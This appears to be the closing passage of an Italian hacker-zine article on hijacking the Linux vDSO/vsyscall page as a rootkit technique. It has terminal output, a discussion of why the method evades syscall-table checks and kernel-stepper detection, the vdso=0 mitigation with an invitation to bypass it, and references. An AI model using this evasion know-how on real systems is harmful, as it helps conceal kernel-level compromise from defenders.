Il nostro vDSO viene riconosciuto con l'appariscente nome linux-gate.so.hacked.
Ristabiliamo l'ordine iniziale:

root@hannibal:/home/sbudella/src/vdso# rmmod vdso_hack.ko
root@hannibal:/home/sbudella/src/vdso# gdb -q /bin/date
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run
Starting program: /bin/date
[Thread debugging using libthread_db enabled]
[New Thread -1209588032 (LWP 3835)]
Mon Jul 30 16:57:13 CEST 2007

Program exited normally.
(gdb) q
root@hannibal:/home/sbudella/src/vdso#

Non ci sono differenze da applicare nel caso del fix-mapped vDSO.
Un'ultima considerazione riguarda la compatibilita': i test sono stati fatti
su Slackware Linux 12 avente kernel versione 2.6.21.5, esclusivamente con
GNU libc versione 2.6 (pare sia l'unica con supporto al fast system call).

Il lettore piu' accorto dovrebbe notare che l'utilizzo di questa tecnica si
presta molto bene ai casi in cui si voglia aggirare un ben noto sistema
di detecting: oramai e' del tutto sconsigliabile manipolare la sys_call_table
poiche' e' la regione piu' controllata da software di controllo; tuttavia si
potrebbe obiettare che tali controlli potrebbero di conseguenza essere
focalizzati appunto sulla vsyscall page: basterebbe un fingerprint sul vDSO
originale per riscontrare eventuali anomalie; ma tale problematica riguarda
qualsiasi rootkit che giaccia allo stesso livello del kernel, che non
implementi, cioe', alcuna tecnologia di virtualizzazione[5].

Potrebbe invece essere confortante il fatto che la nostra tecnica dovrebbe
risultare immune ad eventuali tecniche di execution path analysis che
utilizzino una qualche forma di kernel stepper[6]: tali strumenti operano in
modo tale da fare un'attenta osservazione e successivo conteggio di tutte le
istruzioni eseguite da una syscall service routine; le vecchie tecniche di
syscall hijacking prevedono nella fattispecie l'alterazione della
sys_call_table e delle syscall service routine interessate: esse presenteranno
sempre almeno una istruzione in piu' rispetto a quelle originali, ed e' proprio
su questo paradigma che si basa il successo di un kernel/hardware stepper.
E' pur ovvio pero' che nel nostro caso non viene modificata alcuna syscall e
che il trampoline viene eseguito in user space, da cui l'assunto iniziale.

Attualmente dunque si puo' considerare la tecnica di vsyscall page hijacking
ragionevolmente stealth, con in piu' il vantaggio dell'ibridazione kernel/user
space: il lkm proposto e' solo un vettore di attacco comodo, sostituibile
con altre metodologie (iniezione diretta del codice, ecc), e ricordando le
considerazioni dell'articolo precedentemente pubblicato dall'autore[7], si
potrebbe modificare la vDSO region senza affatto intervenire sul kernel.

Bene, credo non ci sia altro da aggiungere. Il lettore ricordi che il metodo
piu' semplice per neutralizzare al nascere ogni minaccia legata a questa nuova
tecnica user/kernel space consiste nel passare al kernel Linux il seguente
parametro in fase di boot:

vdso = 0

Tuttavia tale rimedio non sembra convincere pienamente l'autore; infatti:

root@hannibal:/home/sbudella# less /var/log/messages
[...]
Jul 30 17:04:25 hannibal kernel: Kernel command line: BOOT_IMAGE=Linux26 ro root=301 vdso=0
[...]

e nonostante cio':

sbudella@hannibal:~$ cat /proc/self/maps
[...]
b7f40000-b7f41000 r-xp b7f40000 00:00 0 [vdso]
b7f41000-b7f5c000 r-xp 00000000 03:01 12503 /lib/ld-2.6.so
b7f5c000-b7f5d000 r--p 0001a000 03:01 12503 /lib/ld-2.6.so
b7f5d000-b7f5e000 rw-p 0001b000 03:01 12503 /lib/ld-2.6.so
bf9bc000-bf9d1000 rw-p bf9bc000 00:00 0 [stack]
sbudella@hannibal:~$

Sembra che la vsyscall page venga ugualmente mappata nell'address space della
vittima, seppur non venga utilizzata come trampolino a kernel space.
Ma questa e' un'altra storia che esula dagli scopi iniziali dell'articolo.
Si lascia al lettore come spunto per ricerche future il compito di aggirare
tale protezione.

***** Saluti.

Un saluto pregno di riconoscenza lo dedico a rookie, lui sa perche':
"- Allora, cos'e' cambiato? In che modo le cose sono diverse?
- Le cose non sono diverse. Le cose sono cose."

A chiunque abbia significato qualcosa per me, coloro i quali sono stati al mio
fianco negli episodi piu' importanti della mia esistenza ed ora sono andati
via, per un motivo o per un altro, ognuno per la propria strada:

"But I'm here staring up
At pictures on the wall
And where are you,
You're still stuck inside them all"

***** Riferimenti.

[1] Intel Architecture Software Developer's Manual, Volume 2:
Instruction Set Reference

[2] Syscall Redirection Without Modifying the Syscall Table - Silvio Cesare

[3] Linux Kernel Evil Programming Demystified - Dark Angel

[4] Ret onto Ret into Vsyscalls, Ret onto Jmp into Vsyscalls -
Clad Strife, Xdream Blue

[5] SubVirt: Implementing Malware with Virtual Machine -
Samuel T. King, Peter M. Chen, Microsoft Research

[6] Execution Path Analysis: Finding Kernel Based Rootkits - Jan K. Rutkowski

[7] Symbiotic Process Execution - sbudella

[*] Understanding the Linux Kernel, 3rd Edition - Daniel P. Bovet, Marco Cesati

[*] Glibc Source Code

[*] Linux Kernel Source Code


================================================================================
------------------------------------[ EOF ]-------------------------------------
================================================================================

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT